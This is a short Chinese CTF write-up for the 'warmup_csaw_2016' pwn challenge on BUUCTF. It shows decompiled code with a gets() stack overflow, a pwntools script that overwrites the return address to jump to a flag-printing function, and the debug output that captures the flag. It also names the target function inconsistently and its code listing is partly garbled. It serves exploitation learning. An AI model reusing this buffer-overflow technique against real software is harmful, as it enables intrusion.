## warmup\_csaw\_2016 buuctf

v5处存在栈溢出,sprintf输出sub\_49969D()函数地址

```
1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3    char s; // [rsp+0h] [rbp-80h]
4    char v5; // [rsp+40h] [rbp-40h]
5
6    write(1, "-Warm Up-\n", 0xAuLL);
7    write(1, "WOW:", 4uLL);
8    sprintf(&s, "%p\n", sub_40060D);
9    write(1, &s, 9uLL);
10    write(1, ">", 1uLL);
11    return gets((__int64)&v5, (__int64)">");
12 }
```

同时sub\_49969D()函数会输出flag

```
1 int sub_40060D()
2 {
3   return system("cat flag.txt");
4 }
```

构造栈溢出,返回到sub 49969D()函数即可

## Python 1 from pwn import \* 2 p = remote('node3.buuoj.cn',27268) 3 #p = process('./pwn') 4 context.log\_level='debug' 5 p.recvuntil('0x') 6 sys\_addr = int(p.recv(6),16) 7 print hex(sys\_addr)

payload =  $'A'*0x40 + 'A'*0x08 + p64(sys_addr)$ 

9 p.sendlineafter('>',payload)

10 p.interactive()

```
root@ubuntu:/home/ams/ws/p3# root@ubuntu:/home/ams/ws/p3# python exp.py
[+] Opening connection to node3.buuoj.cn on port 27268: Done
[DEBUG] Received 0x18 bytes:
   '-Warm Up-\n'
   'WOW:0x40060d\n'
   ' < '
0x40060d
[DEBUG] Sent 0x51 bytes:
   AAAA AAAA AAAA AAAA
   00000040 41 41 41 41 41 41 41 41 0d 06 40 00 00 00 00
                                                             AAAA AAAA ··@· ·
   00000050 0a
   00000051
[*] Switching to interactive mode
[DEBUG] Received 0x2b bytes:
   'flag{8797ca75-9104-421c-b3b5-4278fd50ff2f}\n'
flag{8797ca75-9104-421c-b3b5-4278fd50ff2f}
[DEBUG] Received 0x2b bytes:
   'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
```